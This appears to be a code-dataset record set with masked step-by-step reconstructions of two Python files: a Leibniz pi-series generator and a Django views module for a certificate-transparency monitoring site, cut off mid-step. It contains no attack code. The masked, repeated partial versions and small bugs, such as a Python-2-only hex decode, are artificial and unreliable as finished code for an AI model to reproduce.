def odds(): n = 1 while True: yield n n += 2 <|reserved_special_token_0|> <|reserved_special_token_1|> def odds(): n = 1 while True: yield n n += 2 def pi_series(): odd_nums = odds() approximation = 0 while True: approximation += 4 / next(odd_nums) yield approximation approximation -= 4 / next(odd_nums) yield approximation <|reserved_special_token_0|> <|reserved_special_token_1|> def odds(): n = 1 while True: yield n n += 2 def pi_series(): odd_nums = odds() approximation = 0 while True: approximation += 4 / next(odd_nums) yield approximation approximation -= 4 / next(odd_nums) yield approximation <|reserved_special_token_0|> for x in range(10000): print(next(approx_pi)) <|reserved_special_token_1|> def odds(): n = 1 while True: yield n n += 2 def pi_series(): odd_nums = odds() approximation = 0 while True: approximation += 4 / next(odd_nums) yield approximation approximation -= 4 / next(odd_nums) yield approximation approx_pi = pi_series() for x in range(10000): print(next(approx_pi)) <|reserved_special_token_1|> # Generates an infinite series of odd numbers def odds(): n = 1 while True: yield n n += 2 def pi_series(): odd_nums = odds() approximation = 0 while True: approximation += (4 / next(odd_nums)) yield approximation approximation -= (4 / next(odd_nums)) yield approximation approx_pi = pi_series() # The higher the range used here the closer to an acurate approximation of PI. for x in range(10000): print(next(approx_pi))

flexible

{ "blob_id": "26ef7de89e2e38c419310cc66a33d5dc0575fc0d", "index": 5012, "step-1": "def odds():\n n = 1\n while True:\n yield n\n n += 2\n\n\n<mask token>\n", "step-2": "def odds():\n n = 1\n while True:\n yield n\n n += 2\n\n\ndef pi_series():\n odd_nums = odds()\n approximation = 0\n while True:\n approximation += 4 / next(odd_nums)\n yield approximation\n approximation -= 4 / next(odd_nums)\n yield approximation\n\n\n<mask token>\n", "step-3": "def odds():\n n = 1\n while True:\n yield n\n n += 2\n\n\ndef pi_series():\n odd_nums = odds()\n approximation = 0\n while True:\n approximation += 4 / next(odd_nums)\n yield approximation\n approximation -= 4 / next(odd_nums)\n yield approximation\n\n\n<mask token>\nfor x in range(10000):\n print(next(approx_pi))\n", "step-4": "def odds():\n n = 1\n while True:\n yield n\n n += 2\n\n\ndef pi_series():\n odd_nums = odds()\n approximation = 0\n while True:\n approximation += 4 / next(odd_nums)\n yield approximation\n approximation -= 4 / next(odd_nums)\n yield approximation\n\n\napprox_pi = pi_series()\nfor x in range(10000):\n print(next(approx_pi))\n", "step-5": "# Generates an infinite series of odd numbers\ndef odds():\n n = 1\n while True:\n yield n\n n += 2\n\n\ndef pi_series():\n odd_nums = odds()\n approximation = 0\n while True:\n approximation += (4 / next(odd_nums))\n yield approximation\n approximation -= (4 / next(odd_nums))\n yield approximation\n\napprox_pi = pi_series()\n\n# The higher the range used here the closer to an acurate approximation of PI.\nfor x in range(10000):\n print(next(approx_pi))\n\n", "step-ids": [ 1, 2, 3, 4, 5 ] }

[ 1, 2, 3, 4, 5 ]

from django.shortcuts import render, get_object_or_404 from django.utils import timezone from django.db.models import Count from django.db.models import QuerySet from django.db import connection from django.core.paginator import Paginator, PageNotAnInteger from django.http import HttpResponse from django.http import HttpResponsePermanentRedirect import datetime import os import json from ctobservatory.settings import BASE_DIR from .models import * from notification.forms import SubscribeUnsubscribeForm #from .issuefinder import * import observer.issuefinder as issuefinder from django.template.defaulttags import register import hashlib import psycopg2 ITEMS_PER_PAGE = 50 @register.filter def get_item(dictionary, key): return dictionary.get(key) class FastCountQuerySet(): def __init__(self, queryset, tablename): self.queryset = queryset self.tablename = tablename def count(self): cursor = connection.cursor() cursor.execute("SELECT reltuples FROM pg_class WHERE relname = %s", [self.tablename]) row = cursor.fetchone() count = int(row[0]) cursor.close() return count # passthrough all the other methods def __getattr__(self, attr): try: return object.__getattr__(self, attr) except AttributeError: return getattr(self.queryset, attr) def __getitem__(self, item): return self.queryset[item] class MetadataCountQuerySet(): def __init__(self, queryset, propertyname): self.queryset = queryset self.propertyname = propertyname def count(self): cursor = connection.cursor() cursor.execute("SELECT name_value FROM metadata WHERE name_type = %s", [self.propertyname]) row = cursor.fetchone() count = int(row[0]) cursor.close() return count # passthrough all the other methods def __getattr__(self, attr): try: return object.__getattr__(self, attr) except AttributeError: return getattr(self.queryset, attr) def __getitem__(self, key): return self.queryset[key] def index(request): metadata = {} expired_certs = 0 active_certs = 0 total_certs = 0 total_cas = 0 messages = [] if('subok' in request.GET): messages.append({'class':'alert-info','text':'Subscription request - We sent you a confirmation link via email. Click it, and you should be all set.'}) if('unsubok' in request.GET): messages.append({'class':'alert-info','text':'Unsubscription request - We sent you a confirmation link via email. sClick it, and you should be all set.'}) subscribeform = SubscribeUnsubscribeForm() with connection.cursor() as c: c.execute("SELECT NAME_TYPE, NAME_VALUE FROM metadata") rows = c.fetchall() for row in rows: metadata[row[0]] = row[1] return render(request, 'observer/index.html', { 'total_certs': metadata['number_of_certs'], 'total_ca': metadata['number_of_cas'], 'total_logs': CtLog.objects.count(), 'active_certs': metadata['number_of_active_certs'], 'expired_certs': metadata['number_of_expired_certs'], 'revoked_certs': metadata['number_of_revoked_certs'], 'misissued_certs': metadata['number_of_misissued_certs'], 'behaving_cas' : metadata['number_of_correctly_behaving_cas'], 'interesting_cas' : metadata['number_of_interesting_cas'], 'biggest_log' : metadata['number_of_certs_in_biggest_log'], 'biggest_log_name' : CtLog.objects.get(id=metadata['biggest_log_id']).name, 'smallest_log' : metadata['number_of_certs_in_smallest_log'], 'uptime_days': (timezone.now().date()-datetime.date(2015,10,14)).days, #TODO 'messages' : messages, 'subscribeform' : subscribeform } ) def search(request): term = request.GET.get("term","") #found_ca = Ca.objects.filter(name__icontains=term) #found_cn_dnsname = Certificate.objects.raw("SELECT DISTINCT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, x509_notBefore(CERTIFICATE) FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE (NAME_TYPE='dNSName' AND reverse(lower(NAME_VALUE)) LIKE reverse(lower(%s))) OR (NAME_TYPE='commonName' AND reverse(lower(NAME_VALUE)) LIKE reverse(lower(%s))) #ORDER BY x509_notBefore(CERTIFICATE) DESC", [term, term]) return render(request, 'observer/search.html', { 'term' : term #'found_ca' : found_ca, #'found_cn_dnsname' : found_cn_dnsname } ) def caall(request, page=None): #VIEW FOR CAs if(page==None): return HttpResponsePermanentRedirect("all/1") page = int(page) list_of_certs = [] filtered_qs = CaFilter( request.GET, queryset=Ca.objects.all().order_by('common_name') ) paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE) page = request.GET.get('page') try: list_of_certs = paginator.page(page) except PageNotAnInteger: list_of_certs = paginator.page(1) return render(request, 'observer/cas.html', { 'list_of_ca': list_of_certs, 'filter': filtered_qs#Ca.objects.annotate(num_certs=Count('certificate')).order_by('-num_certs'), } ) def certall(request, page=None, ae=None, issuer_ca=None): #VIEW FOR Certificates->ALL if(page==None): return HttpResponsePermanentRedirect("all/1") ae = request.GET.get("algorithm") issuer_ca = request.GET.get("issuer_ca") date_notbefore = request.GET.get("date_notbefore") date_notbefore_gte = request.GET.get("date_notbefore_gte") is_active = request.GET.get("is_active") date_notafter = request.GET.get("date_notafter") date_notafter_lte = request.GET.get("date_notafter_lte") page = int(page) list_of_certs = [] filtered_qs = CertFilter( request.GET, queryset=MetadataCountQuerySet(Certificate.objects.all().order_by('-id'), 'certificate') ) paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE) page = request.GET.get('page') #Alternative filter solution for better performance #https://localhost/cert/all/1?issuer_ca=merge&date_notbefore=&date_notbefore_gte=&is_active=&date_notafter=&date_notafter_lte= query = FastCountQuerySet(Certificate.objects.all().order_by('-id'), 'certificate') paginator = Paginator(query, ITEMS_PER_PAGE) if(is_active == "1" or is_active == "" or is_active == None): if(issuer_ca != None and (is_active == None or is_active == "")): query = FastCountQuerySet(Certificate.objects.filter(issuer_ca__common_name__contains = issuer_ca), 'certificate') paginator = Paginator(query, ITEMS_PER_PAGE) if(is_active != None and (issuer_ca == None or issuer_ca == "")): query = FastCountQuerySet(Certificate.objects.filter(not_before__lte=timezone.now(), not_after__gte=timezone.now()), 'certificate') if(issuer_ca == "" and is_active == ""): query = FastCountQuerySet(Certificate.objects.all(), 'certificate') paginator = Paginator(query, ITEMS_PER_PAGE) if(is_active != None and issuer_ca != None ): query = FastCountQuerySet(Certificate.objects.filter( issuer_ca__common_name__contains = issuer_ca, not_before__lte=timezone.now(), not_after__gte=timezone.now(), ), 'certificate') paginator = Paginator(query, ITEMS_PER_PAGE) if(is_active == "0" or is_active == "" or is_active == None): if(issuer_ca != None and (is_active == None or is_active == "")): query = FastCountQuerySet(Certificate.objects.filter(issuer_ca__common_name__contains = issuer_ca), 'certificate') paginator = Paginator(query, ITEMS_PER_PAGE) if(is_active != None and (issuer_ca == None or issuer_ca == "")): query = FastCountQuerySet(Certificate.objects.filter(not_after__lte=datetime.date.today()), 'certificate') if(issuer_ca == "" and is_active == ""): query = FastCountQuerySet(Certificate.objects.all(), 'certificate') paginator = Paginator(query, ITEMS_PER_PAGE) if(is_active != None and issuer_ca != None ): query = FastCountQuerySet(Certificate.objects.filter( issuer_ca__common_name__contains = issuer_ca, not_after__lte=datetime.date.today() ), 'certificate') paginator = Paginator(query, ITEMS_PER_PAGE) #################################################### try: list_of_certs = paginator.page(page) except PageNotAnInteger: list_of_certs = paginator.page(1) #if(ae != None): #list_of_certs = Certificate.objects.raw("SELECT * FROM certificate WHERE SIGNATURE_ALGORITHM=%s", [ae]) return render(request, 'observer/certs.html', { 'list_of_certs': list_of_certs, 'filter': filtered_qs } ) def certactive(request, page=None): if(page==None): return HttpResponsePermanentRedirect("active/1") page = int(page) list_of_certs = [] paginator = Paginator(MetadataCountQuerySet(Certificate.objects.filter(not_before__lte=timezone.now(), not_after__gte=timezone.now()), 'number_of_active_certs'), ITEMS_PER_PAGE) if(page in paginator.page_range): list_of_certs = paginator.page(page) return render(request, 'observer/certs.html', { 'list_of_certs': list_of_certs } ) def certexpired(request, page=None, order=None): if(page==None): return HttpResponsePermanentRedirect("expired/1") page = int(page) list_of_certs = [] paginator = Paginator(MetadataCountQuerySet(Certificate.objects.filter(not_after__lt=timezone.now()), 'number_of_expired_certs'), ITEMS_PER_PAGE) # paginator = Paginator(Certificate.objects.filter(not_after__lt=timezone.now()), ITEMS_PER_PAGE) if(page in paginator.page_range): list_of_certs = paginator.page(page) return render(request, 'observer/certs.html', { 'list_of_certs': list_of_certs } ) def certrevoked(request, page=None): if(page==None): return HttpResponsePermanentRedirect("revoked/1") page = int(page) list_of_certs = [] paginator = Paginator(Certificate.objects.filter(id__in=RevokedCertificate.objects.all().values('certificate')), ITEMS_PER_PAGE) if(page in paginator.page_range): list_of_certs = paginator.page(page) return render(request, 'observer/certs.html', { 'list_of_certs': list_of_certs } ) def certs_by_log(request, log_id, page=None): if(page==None): return HttpResponsePermanentRedirect("./1") page = int(page) log_id = int(log_id) list_of_certs = [] paginator = Paginator(CtLogEntry.objects.filter(ct_log=log_id), ITEMS_PER_PAGE) if(page in paginator.page_range): list_of_entries = paginator.page(page) return render(request, 'observer/log_certs.html', { 'log': get_object_or_404(CtLog, pk=log_id), 'list_of_entries' : list_of_entries } ) def certs_by_ca(request, ca_id, page=None): if(page==None): return HttpResponsePermanentRedirect("certificates/1") page = int(page) ca_id = int(ca_id) list_of_certs = [] filtered_qs = CertFilter( request.GET, queryset=Certificate.objects.filter(issuer_ca=ca_id) ) paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE) page = request.GET.get('page') try: list_of_certs = paginator.page(page) except PageNotAnInteger: list_of_certs = paginator.page(1) return render(request, 'observer/certs.html', { 'list_of_certs': list_of_certs, 'filter': filtered_qs }) # paginator = Paginator(Certificate.objects.filter(issuer_ca=ca_id), ITEMS_PER_PAGE) # if(page in paginator.page_range): # list_of_certs = paginator.page(page) # return render(request, 'observer/certs.html', # { # 'list_of_certs': list_of_certs # } # ) def list_cn_certs(request, cn): field_id = 'common name' expression = cn list_of_certs = Certificate.objects.raw("SELECT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, c.SERIAL, c.SHA256, c.NOT_BEFORE, c.NOT_AFTER FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE NAME_TYPE='commonName' AND reverse(lower(NAME_VALUE))=reverse(lower(%s)) ORDER BY c.NOT_BEFORE ASC", [cn]) #list_of_certs = Certificate.objects.filter(certificate__common_name=cn).order_by('not_before') issues = issuefinder.get_all_issues(list(list_of_certs)) #issues = issuefinder.get_first_certificates(list_of_certs) return render(request, 'observer/history.html', { 'field_id': field_id, 'expression': expression, 'list_of_certs': list_of_certs, 'issues':issues } ) def list_dnsname_certs(request, dnsname): field_id = 'dnsname' expression = dnsname list_of_certs = Certificate.objects.raw("SELECT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, c.SERIAL, c.SHA256, c.NOT_BEFORE, c.NOT_AFTER FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE NAME_TYPE='dNSName' AND reverse(lower(NAME_VALUE))=reverse(lower(%s)) ORDER BY c.NOT_BEFORE ASC", [dnsname]) issues = issuefinder.get_all_issues(list(list_of_certs)) return render(request, 'observer/history.html', { 'field_id': field_id, 'expression': expression, 'list_of_certs': list_of_certs, 'issues':issues } ) def log(request): #LOG VIEW return render(request, 'observer/logs.html', { #'list_of_logs': CtLog.objects.all().annotate(entries=Count('ctlogentry')).order_by('latest_entry_id') 'list_of_logs': CtLog.objects.all().order_by('-is_active','-latest_entry_id','name') } ) def cadetail(request,ca_id): ca = get_object_or_404(Ca, pk=ca_id) #counting number of issued CA's: number_of_issued_ca = Certificate.objects.filter(issuer_ca=ca_id).count() return render(request, 'observer/cadetail.html', { 'ca' : ca, 'number_of_issued_ca': number_of_issued_ca}) def certdetail(request,cert_id=None,cert_sha256=None): if cert_sha256: cert_sha256_bin = cert_sha256.decode('hex') #Does not work on python3 cert = get_object_or_404(Certificate, certificate__sha256=cert_sha256_bin) if cert_id: cert = get_object_or_404(Certificate, pk=cert_id) cacert = CaCertificate.objects.filter(certificate_id=cert_id).first() digest_sha256 = str(cert.get_digest_sha256()).replace(':','').lower()[2:-1] #TODO #Certificate.objects.raw("select (select count(*) from certificate WHERE x509_keySize(certificate) = %s)*100/cast(COUNT(*) as float) as percentage, 0 as id FROM certificate;", #[cert.get_x509_data().get_pubkey().bits()]) #return render(request, 'observer/certdetail.html', { 'certificate' : cert, 'ca_certificate' : cacert, 'keysize_distribution': round(keysize_distribution[0].percentage,2)}) return render(request, 'observer/certdetail.html', { 'certificate' : cert, 'ca_certificate' : cacert, 'keysize_distribution': 'TODO', 'digest_sha256':digest_sha256}) def certraw(request,cert_id): cert = get_object_or_404(Certificate, pk=cert_id) response = HttpResponse(cert.certificate, content_type='application/octet-stream') response['Content-Disposition'] = 'attachment; filename="certificate_{}.crt'.format(cert_id) return response def logdetail(request,log_id): log = get_object_or_404(CtLog, pk=log_id) number_of_issued_ca = CtLogEntry.objects.filter(ct_log=log_id).count() return render(request, 'observer/logdetail.html', { 'log' : log, 'number_of_issued_ca' : number_of_issued_ca}) def flag(request, flag_id): try: with open(os.path.join(BASE_DIR, "static/flags/png/{0}.png".format(flag_id.lower())), "rb") as f: return HttpResponse(f.read(), content_type="image/png") except IOError: with open(os.path.join(BASE_DIR, "static/flags/png/-.png"), "rb") as f: return HttpResponse(f.read(), content_type="image/png") def imprint(request): return render(request, 'observer/imprint.html') def issues(request): return render(request, 'observer/issues.html') def status(request): status = {'analyzer':{'lastrun':0}, 'monitor':{'lastrun':0}, 'msg':'ok'} try: with open('/static/data/status.json', 'r') as f: status = json.load(f) status['analyzer']['lastrun'] = datetime.datetime.fromtimestamp(status['analyzer']['lastrun']) status['monitor']['lastrun'] = datetime.datetime.fromtimestamp(status['monitor']['lastrun']) except Exception as e: status['msg'] = "Could not load status file."+str(e) return render(request, 'observer/status.html', {'status':status}) def certcheck(request): if request.method == 'POST': serial_post = request.POST['serial'] sqlQuery = """SELECT id FROM certificate WHERE serial=%s""" sqlQuery_commonName = """SELECT * FROM ca WHERE """ current_time = str(datetime.datetime.now()) serial_int = int(serial_post, 16) serial = serial_int.to_bytes((serial_int.bit_length() + 15) // 8, 'big', signed=True) or b'\0' sqlData = (psycopg2.Binary(serial),) found_serial = Certificate.objects.raw(sqlQuery, sqlData) if(found_serial): return HttpResponse(found_serial) else: return HttpResponse("none") return render(request, 'observer/checkserial.html', {})

normal

{ "blob_id": "bcc959dcdb60c55897158e85d73c59592b112c12", "index": 6381, "step-1": "<mask token>\n\n\nclass FastCountQuerySet:\n\n def __init__(self, queryset, tablename):\n self.queryset = queryset\n self.tablename = tablename\n\n def count(self):\n cursor = connection.cursor()\n cursor.execute('SELECT reltuples FROM pg_class WHERE relname = %s',\n [self.tablename])\n row = cursor.fetchone()\n count = int(row[0])\n cursor.close()\n return count\n\n def __getattr__(self, attr):\n try:\n return object.__getattr__(self, attr)\n except AttributeError:\n return getattr(self.queryset, attr)\n\n def __getitem__(self, item):\n return self.queryset[item]\n\n\nclass MetadataCountQuerySet:\n\n def __init__(self, queryset, propertyname):\n self.queryset = queryset\n self.propertyname = propertyname\n\n def count(self):\n cursor = connection.cursor()\n cursor.execute('SELECT name_value FROM metadata WHERE name_type = %s',\n [self.propertyname])\n row = cursor.fetchone()\n count = int(row[0])\n cursor.close()\n return count\n\n def __getattr__(self, attr):\n try:\n return object.__getattr__(self, attr)\n except AttributeError:\n return getattr(self.queryset, attr)\n\n def __getitem__(self, key):\n return self.queryset[key]\n\n\ndef index(request):\n metadata = {}\n expired_certs = 0\n active_certs = 0\n total_certs = 0\n total_cas = 0\n messages = []\n if 'subok' in request.GET:\n messages.append({'class': 'alert-info', 'text':\n 'Subscription request - We sent you a confirmation link via email. Click it, and you should be all set.'\n })\n if 'unsubok' in request.GET:\n messages.append({'class': 'alert-info', 'text':\n 'Unsubscription request - We sent you a confirmation link via email. sClick it, and you should be all set.'\n })\n subscribeform = SubscribeUnsubscribeForm()\n with connection.cursor() as c:\n c.execute('SELECT NAME_TYPE, NAME_VALUE FROM metadata')\n rows = c.fetchall()\n for row in rows:\n metadata[row[0]] = row[1]\n return render(request, 'observer/index.html', {'total_certs': metadata[\n 'number_of_certs'], 'total_ca': metadata['number_of_cas'],\n 'total_logs': CtLog.objects.count(), 'active_certs': metadata[\n 'number_of_active_certs'], 'expired_certs': metadata[\n 'number_of_expired_certs'], 'revoked_certs': metadata[\n 'number_of_revoked_certs'], 'misissued_certs': metadata[\n 'number_of_misissued_certs'], 'behaving_cas': metadata[\n 'number_of_correctly_behaving_cas'], 'interesting_cas': metadata[\n 'number_of_interesting_cas'], 'biggest_log': metadata[\n 'number_of_certs_in_biggest_log'], 'biggest_log_name': CtLog.\n objects.get(id=metadata['biggest_log_id']).name, 'smallest_log':\n metadata['number_of_certs_in_smallest_log'], 'uptime_days': (\n timezone.now().date() - datetime.date(2015, 10, 14)).days,\n 'messages': messages, 'subscribeform': subscribeform})\n\n\ndef search(request):\n term = request.GET.get('term', '')\n return render(request, 'observer/search.html', {'term': term})\n\n\ndef caall(request, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('all/1')\n page = int(page)\n list_of_certs = []\n filtered_qs = CaFilter(request.GET, queryset=Ca.objects.all().order_by(\n 'common_name'))\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n return render(request, 'observer/cas.html', {'list_of_ca':\n list_of_certs, 'filter': filtered_qs})\n\n\ndef certall(request, page=None, ae=None, issuer_ca=None):\n if page == None:\n return HttpResponsePermanentRedirect('all/1')\n ae = request.GET.get('algorithm')\n issuer_ca = request.GET.get('issuer_ca')\n date_notbefore = request.GET.get('date_notbefore')\n date_notbefore_gte = request.GET.get('date_notbefore_gte')\n is_active = request.GET.get('is_active')\n date_notafter = request.GET.get('date_notafter')\n date_notafter_lte = request.GET.get('date_notafter_lte')\n page = int(page)\n list_of_certs = []\n filtered_qs = CertFilter(request.GET, queryset=MetadataCountQuerySet(\n Certificate.objects.all().order_by('-id'), 'certificate'))\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n query = FastCountQuerySet(Certificate.objects.all().order_by('-id'),\n 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active == '1' or is_active == '' or is_active == None:\n if issuer_ca != None and (is_active == None or is_active == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and (issuer_ca == None or issuer_ca == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n not_before__lte=timezone.now(), not_after__gte=timezone.now\n ()), 'certificate')\n if issuer_ca == '' and is_active == '':\n query = FastCountQuerySet(Certificate.objects.all(), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and issuer_ca != None:\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca, not_before__lte\n =timezone.now(), not_after__gte=timezone.now()), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active == '0' or is_active == '' or is_active == None:\n if issuer_ca != None and (is_active == None or is_active == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and (issuer_ca == None or issuer_ca == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n not_after__lte=datetime.date.today()), 'certificate')\n if issuer_ca == '' and is_active == '':\n query = FastCountQuerySet(Certificate.objects.all(), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and issuer_ca != None:\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca, not_after__lte=\n datetime.date.today()), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs, 'filter': filtered_qs})\n\n\n<mask token>\n\n\ndef certexpired(request, page=None, order=None):\n if page == None:\n return HttpResponsePermanentRedirect('expired/1')\n page = int(page)\n list_of_certs = []\n paginator = Paginator(MetadataCountQuerySet(Certificate.objects.filter(\n not_after__lt=timezone.now()), 'number_of_expired_certs'),\n ITEMS_PER_PAGE)\n if page in paginator.page_range:\n list_of_certs = paginator.page(page)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs})\n\n\ndef certrevoked(request, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('revoked/1')\n page = int(page)\n list_of_certs = []\n paginator = Paginator(Certificate.objects.filter(id__in=\n RevokedCertificate.objects.all().values('certificate')), ITEMS_PER_PAGE\n )\n if page in paginator.page_range:\n list_of_certs = paginator.page(page)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs})\n\n\ndef certs_by_log(request, log_id, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('./1')\n page = int(page)\n log_id = int(log_id)\n list_of_certs = []\n paginator = Paginator(CtLogEntry.objects.filter(ct_log=log_id),\n ITEMS_PER_PAGE)\n if page in paginator.page_range:\n list_of_entries = paginator.page(page)\n return render(request, 'observer/log_certs.html', {'log':\n get_object_or_404(CtLog, pk=log_id), 'list_of_entries':\n list_of_entries})\n\n\ndef certs_by_ca(request, ca_id, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('certificates/1')\n page = int(page)\n ca_id = int(ca_id)\n list_of_certs = []\n filtered_qs = CertFilter(request.GET, queryset=Certificate.objects.\n filter(issuer_ca=ca_id))\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs, 'filter': filtered_qs})\n\n\n<mask token>\n\n\ndef list_dnsname_certs(request, dnsname):\n field_id = 'dnsname'\n expression = dnsname\n list_of_certs = Certificate.objects.raw(\n \"SELECT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, c.SERIAL, c.SHA256, c.NOT_BEFORE, c.NOT_AFTER FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE NAME_TYPE='dNSName' AND reverse(lower(NAME_VALUE))=reverse(lower(%s)) ORDER BY c.NOT_BEFORE ASC\"\n , [dnsname])\n issues = issuefinder.get_all_issues(list(list_of_certs))\n return render(request, 'observer/history.html', {'field_id': field_id,\n 'expression': expression, 'list_of_certs': list_of_certs, 'issues':\n issues})\n\n\ndef log(request):\n return render(request, 'observer/logs.html', {'list_of_logs': CtLog.\n objects.all().order_by('-is_active', '-latest_entry_id', 'name')})\n\n\ndef cadetail(request, ca_id):\n ca = get_object_or_404(Ca, pk=ca_id)\n number_of_issued_ca = Certificate.objects.filter(issuer_ca=ca_id).count()\n return render(request, 'observer/cadetail.html', {'ca': ca,\n 'number_of_issued_ca': number_of_issued_ca})\n\n\ndef certdetail(request, cert_id=None, cert_sha256=None):\n if cert_sha256:\n cert_sha256_bin = cert_sha256.decode('hex')\n cert = get_object_or_404(Certificate, certificate__sha256=\n cert_sha256_bin)\n if cert_id:\n cert = get_object_or_404(Certificate, pk=cert_id)\n cacert = CaCertificate.objects.filter(certificate_id=cert_id).first()\n digest_sha256 = str(cert.get_digest_sha256()).replace(':', '').lower()[2:-1\n ]\n return render(request, 'observer/certdetail.html', {'certificate': cert,\n 'ca_certificate': cacert, 'keysize_distribution': 'TODO',\n 'digest_sha256': digest_sha256})\n\n\n<mask token>\n\n\ndef logdetail(request, log_id):\n log = get_object_or_404(CtLog, pk=log_id)\n number_of_issued_ca = CtLogEntry.objects.filter(ct_log=log_id).count()\n return render(request, 'observer/logdetail.html', {'log': log,\n 'number_of_issued_ca': number_of_issued_ca})\n\n\n<mask token>\n\n\ndef issues(request):\n return render(request, 'observer/issues.html')\n\n\ndef status(request):\n status = {'analyzer': {'lastrun': 0}, 'monitor': {'lastrun': 0}, 'msg':\n 'ok'}\n try:\n with open('/static/data/status.json', 'r') as f:\n status = json.load(f)\n status['analyzer']['lastrun'] = datetime.datetime.fromtimestamp(status\n ['analyzer']['lastrun'])\n status['monitor']['lastrun'] = datetime.datetime.fromtimestamp(status\n ['monitor']['lastrun'])\n except Exception as e:\n status['msg'] = 'Could not load status file.' + str(e)\n return render(request, 'observer/status.html', {'status': status})\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass FastCountQuerySet:\n\n def __init__(self, queryset, tablename):\n self.queryset = queryset\n self.tablename = tablename\n\n def count(self):\n cursor = connection.cursor()\n cursor.execute('SELECT reltuples FROM pg_class WHERE relname = %s',\n [self.tablename])\n row = cursor.fetchone()\n count = int(row[0])\n cursor.close()\n return count\n\n def __getattr__(self, attr):\n try:\n return object.__getattr__(self, attr)\n except AttributeError:\n return getattr(self.queryset, attr)\n\n def __getitem__(self, item):\n return self.queryset[item]\n\n\nclass MetadataCountQuerySet:\n\n def __init__(self, queryset, propertyname):\n self.queryset = queryset\n self.propertyname = propertyname\n\n def count(self):\n cursor = connection.cursor()\n cursor.execute('SELECT name_value FROM metadata WHERE name_type = %s',\n [self.propertyname])\n row = cursor.fetchone()\n count = int(row[0])\n cursor.close()\n return count\n\n def __getattr__(self, attr):\n try:\n return object.__getattr__(self, attr)\n except AttributeError:\n return getattr(self.queryset, attr)\n\n def __getitem__(self, key):\n return self.queryset[key]\n\n\ndef index(request):\n metadata = {}\n expired_certs = 0\n active_certs = 0\n total_certs = 0\n total_cas = 0\n messages = []\n if 'subok' in request.GET:\n messages.append({'class': 'alert-info', 'text':\n 'Subscription request - We sent you a confirmation link via email. Click it, and you should be all set.'\n })\n if 'unsubok' in request.GET:\n messages.append({'class': 'alert-info', 'text':\n 'Unsubscription request - We sent you a confirmation link via email. sClick it, and you should be all set.'\n })\n subscribeform = SubscribeUnsubscribeForm()\n with connection.cursor() as c:\n c.execute('SELECT NAME_TYPE, NAME_VALUE FROM metadata')\n rows = c.fetchall()\n for row in rows:\n metadata[row[0]] = row[1]\n return render(request, 'observer/index.html', {'total_certs': metadata[\n 'number_of_certs'], 'total_ca': metadata['number_of_cas'],\n 'total_logs': CtLog.objects.count(), 'active_certs': metadata[\n 'number_of_active_certs'], 'expired_certs': metadata[\n 'number_of_expired_certs'], 'revoked_certs': metadata[\n 'number_of_revoked_certs'], 'misissued_certs': metadata[\n 'number_of_misissued_certs'], 'behaving_cas': metadata[\n 'number_of_correctly_behaving_cas'], 'interesting_cas': metadata[\n 'number_of_interesting_cas'], 'biggest_log': metadata[\n 'number_of_certs_in_biggest_log'], 'biggest_log_name': CtLog.\n objects.get(id=metadata['biggest_log_id']).name, 'smallest_log':\n metadata['number_of_certs_in_smallest_log'], 'uptime_days': (\n timezone.now().date() - datetime.date(2015, 10, 14)).days,\n 'messages': messages, 'subscribeform': subscribeform})\n\n\ndef search(request):\n term = request.GET.get('term', '')\n return render(request, 'observer/search.html', {'term': term})\n\n\ndef caall(request, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('all/1')\n page = int(page)\n list_of_certs = []\n filtered_qs = CaFilter(request.GET, queryset=Ca.objects.all().order_by(\n 'common_name'))\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n return render(request, 'observer/cas.html', {'list_of_ca':\n list_of_certs, 'filter': filtered_qs})\n\n\ndef 